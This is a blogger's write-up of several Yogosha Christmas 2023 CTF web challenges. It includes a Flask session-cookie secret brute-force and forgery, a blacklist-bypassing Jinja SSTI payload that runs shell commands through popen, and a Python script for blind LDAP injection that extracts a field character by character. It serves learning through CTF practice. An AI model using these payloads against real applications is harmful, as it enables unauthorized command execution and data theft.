Christmas Yogosha Challenge 2023

Writeups for some Yogosha web challs.

There was a Yogosha CTF between 22nd22^{nd}22nd and 25th25^{th}25th December.
As it was not advertised a lot, I only found out on Sunday, December 24th24^{th}24th checking Yogosha slack and there weren’t a lot of participants ;(. Finished 4th4^{th}4th.
I only tried the small web challenges, but one resisted me. Curious to see the solution for Guess?, related to gRPC :).
Nothing new but it was fun nonetheless.
Rusta pasta was interesting for me, because I never pentested a Rust web application and never read Rust code.

1st chall : Shop

Description

Oh, that Grinch strikes again! This time, he pulled off a heist in the shop and ran off with our item. Can we catch him and get our stuff back? That Grinch is like a master thief on a mission! 🎁🕵️‍♂️

LINK: http://44.212.75.74:4041

Number of solves: 16

TL;DR

Weak secret (diciembre25) for Flask cookie and issue with currency conversion (cur GET parameter).

Detailed solution

Recon

We have 2 pages :

We only have one cookie : session. Default value was : eyJjYW5fYnV5IjpmYWxzZX0.ZYnZFQ.9j1dwkWl7Up0r4c3FYf9Qcjb4QM
It’s a classic Flask cookie, that is to say composed of 3 parts, delimited by a dot:

$ echo eyJjYW5fYnV5IjpmYWxzZX0 | base64 -d
{"can_buy":false}`

To tamper it, we should find the secret used to sign it. To do so, I used flask-unsign.

$cookie=eyJjYW5fYnV5IjpmYWxzZX0.ZYnZFQ.9j1dwkWl7Up0r4c3FYf9Qcjb4QM
$flask-unsign --wordlist /opt/wordlists/rockyou.txt --unsign --cookie $cookie --no-literal-eval
[*] Session decodes to: {'can_buy': False}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 153728 attemptskjeogGWE28
b'diciembre25'

The secret is diciembre25.
Then we can change our current cookie:

flask-unsign --sign --cookie "{'can_buy': True}" --secret 'diciembre25'
eyJjYW5fYnV5Ijp0cnVlfQ.ZYnvCw.gS1XcURdYWFNI2GKrNssG_PrMq8

Doing so, we now have a difference error when trying to purchase our flag:
Not enough money
Now, the issue seems to be our current balance, inferior to the flag price.

Increasing our current balance

Server-side injections (SQLi, SSTI, …) did not seem to work on the CUR GET parameter.
However, when changing ?cur=USDby ?cur=EUR, I found out that my current balance decreased ;(.

Default balance

Balance decreased when using EUR currency
First thought was “hey, maybe when decreasing, there will be some kind of arithmetic underflow ?”. I sent a lot of requests to /?cur=EUR but it was in vain, my balance was just pretty low.
Intruder request with EUR
Intruder response with EUR
I tried to change by other values but I am not quite familiar with currency codes, so I downloaded a list on a random GitHub repository.

$curl  https://raw.githubusercontent.com/datasets/currency-codes/master/data/codes-all.csv | cut -d "," -f 3 | sort | uniq | tee currency_codes.txt

When trying them all, I for instance found out that AUD (Australian Dollar) increased my balance.
AUD increased balance
As we can see, my balance is pretty high now ^^ (same as before, no integer/arithmetic overflow here).
Intruder with AUD
Now, I can try to purchase the flag again.
Flag
Flag: flag{cookie_manipulation_currency_conversion_error}

Flag

flag{cookie_manipulation_currency_conversion_error}

2nd chall : Down

Description

Uh-oh! The Grinch hacked our testing website and swiped our flag. Can we get it back? It’s like he stole our Christmas cheer in cyberspace! 🎄🕵️‍♂️

LINK: http://44.212.75.74:8080
Source (app.py) included

Number of solves: 7

TL;DR

Jinja SSTI with some blacklisted keywords in an email field. Moreover, the email must be a valid email address.
This challenge could be resolved without the source code. However, due to the time used by validate_email, it was a good choice to give it ^^.

Detailed solution

There is only one page with one user input (email):
Index
As this is a CTF challenge, there is probably an injection on this field.
Reading the source code, there seems to be a Jinja SSTI.
return render_template_string(f"Thanks for subscribing {request.form.get('email')}, you'll get coupon code once we complete developing our shop!")

Recon

Blackbox

Trying different inputs, there seems to be 2 different checks:

Whitebox

Reading the source code, there are indeed two checks:

BLACKLIST = ["{{", "}}", "_", "[", "]", "\\", "args", "form", "'"]
[...]
      if (any([i in request.form.get("email") for i in BLACKLIST]) or len(request.form.get("email")) > 100)

Constructing our payload

Bypassing the length constraint

Bypassing the validate_email check and {{ blacklist

I saw directly on the GitHub repository that there were a lot of issues and as I am lazy and did not have a lot of time for this CTF, I thought “maybe amidst those issues, some can help to understand better the internal checks without reading the code and maybe a few ones are related to possible bypass” :D.
First, poking around issues (for instance this one,
' is blacklisted, but not ", so "1"@gmail.com verifies those 2 two checks: it’s a pretty known trick for email syntax validation (you can write almost everything between two quotes), see appendix resources.
{{ is blacklisted, but not {. Another well-known trick, this time for Jinja SSTI, is to use {% instead of {{. The syntax is a bit different (it is a statement) but not too much: we can for instance use {% print(expression) %} instead of {{expression}}.
Let’s try it: statement

Bypassing _

We want to execute a payload such as {{lipsum.__globals__["os"].popen('id').read()}}.
As this payload suggests, Jinja SSTI payloads need the use of magic methods, we must bypass _ blacklist because magic methods look like this __name__.
We can’t use request.header because __globals__ is obviously not a string.
Another well-known trick in this case is the use of attr filter in Jinja: lipsum.__class__ is the same as lipsum|attr("__class__").
attr filter

Final payload

So now, we can construct our input. First, a valid email address can have the form "JINJA_PAYLOAD"@gmail.com.
For our JINJA_PAYLOAD:
{{lipsum.__globals__["os"].popen('id').read()}}
Same as {%print(lipsum.__globals__["os"].popen('id').read())%} ({% instead of {{)
Same as {%print(lipsum|attr('__globals__')).os.popen('id').read()%} (use of attr filter)
'globals' and 'id' will be present in some headers : {%print(lipsum|attr(request.headers.globals)).os.popen(request.headers.cmd).read()%}

POST /subscribe HTTP/1.1
Host: 44.212.75.74:8080
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
globals: __globals__
cmd: ls -la; cat flag.txt
Connection: close

email="{%print(lipsum|attr(request.headers.globals)).os.popen(request.headers.cmd).read()%}"@gmail.com

Final request

Flag

flag{hello_again!did_you_see_me_elsewhere?}

Appendix

Injection in email fields introduction resources

I love injections in email address (and phone number) fields. Good resources to start:

3rd chall : Let Dem Away Please

Description

Let Dem Away Please. The admin description is the key to everything .

LINK: http://35.168.7.144:8081

PS: flag all lower case.

Number of solves: 6

TL;DR

As we conjectured with the title : classic blind LDAP injection (on description field).
For some unknown reasons, there is a really basic blacklist (admin, wildcard * if nothing else in the current field ).

Detailed solution

I think this was the easiest challenge.

Recon

Contacting the website, we got a 404 error:
Default page
As there was nothing in the HTML source code, I did some parameter (with Param Miner and x8 ; for more information about parameter fuzzing, see this), directory and file fuzzing with wfuzz and basic wordlists.
We found out a login endpoint.
login

Changing the method to POST, we got:
JSON
According to the error message, we must give it a JSON input, so I added a Content-Type: application/json header and an empty JSON input.
JSON keys
Then the fields of the JSON payload are leaked.
Now we can try injections on both fields.
JSON keys

Confirm LDAP injection and trying to understand what to do with it

As I was poking around, I found that some keywords were blacklisted:

So admin seems to be a valid username.
I got a different response when sending this request:

POST /login HTTP/1.1
Host: 35.168.7.144:8081
Content-type: application/json
Content-Length: 36

{"username":"admi*","password":"e*"}

intruder letters bf
"success" response
So I can probably retrieve the admin password. However, I thought one second later: “Who cares ? It’s not the flag because it begins with an e and it can’t be the flag hash because how could I cracked it to find the plaintext ?”.
I thought that there was probably another LDAP field.
Reading the description again, it was obvious that the field was probably description:
" The admin description is the key to everything"

Exploitation

I added the description field, and indeed this field seems to exist:

Script

import requests
import string

url = "http://35.168.7.144:8081/login"
headers = {"Content-Type": "application/json"}

chars = string.ascii_lowercase+"0123456789_@{}-/()!\"$%=^[]:; "
start = "admi*)(description="
flag = "flag{"
for i in range(50):
    for char in chars:
        username = "admi*)(description=%s%s*" % (flag,char)
        data = {"password": "e*", "username": username}
        r = requests.post(url, headers=headers, json=data)
        if "Success" in r.text:
            flag = flag + char
            print(flag)
            break

Script execution

Flag

flag{light_decorates_all_pines!}
Check flag

4th chall : Rusta Pasta

Description

He stole the application and switched the code base, no front is available, can you retrieve the flag?

LINK: http://44.212.75.74:4040
Sources included (public.7z)

Number of solves: 5

TL;DR

Detailed solution

Recon & code review

Finding routes

Forge a session token

Path traversal

Execute our uploaded script

5th chall : SWAG? SMAG?SLAG?

Description

We don’t have any idea about this.

LINK: http://35.168.7.144:6000

Sources included (files.7z)

Number of solves: 4

TL;DR

Basic smuggling using delete feature and CRLF to reach /flag in the backend.

Detailed solution

Recon & code review

Challs not done

No time (except for gRPC) to really check them out and pwn ad reverse are not my strong points :x

The G Notebook

Description

You won’t believe it—even the Grinch can’t resist this tool! I always catch him peeking at my notes. Want to see if it can tame that mischievous green guy? It’s like my secret weapon against Grinchy antics! 📝💚🕵️‍♂️

nc 54.144.45.142 1234

libc and binary file included

Number of solves: 4
TL;DR

Pwn chall, I didn’t check it at all

Guess?

Description

Would you believe it? The Grinch managed to crack our precious “Guess?” game—a web-based word guessing extravaganza using gRPC magic! He swooped in, guessed, and made off with it. How in the world did he pull that off? That Grinch is a real web-game bandit! 🕹️🕵️‍♂️

LINK: 35.168.7.144:50051
guess.proto file included

Number of solves: 3
TL;DR

I checked it a bit. I never interacted with gRPC before, so the first issue was interacting with it.
I used grpcurl and grpcui.
Command example for grpcurl : grpcurl -v -proto guess.proto -plaintext -format text -d 'username:"totoro", password: "totoro"' 35.168.7.144:50051 guess.Guess/Signup

Resources

Race

Description

can you get the secret ?
Binary file included

Number of solves: 1
TL;DR

I did not check it, reverse challenge.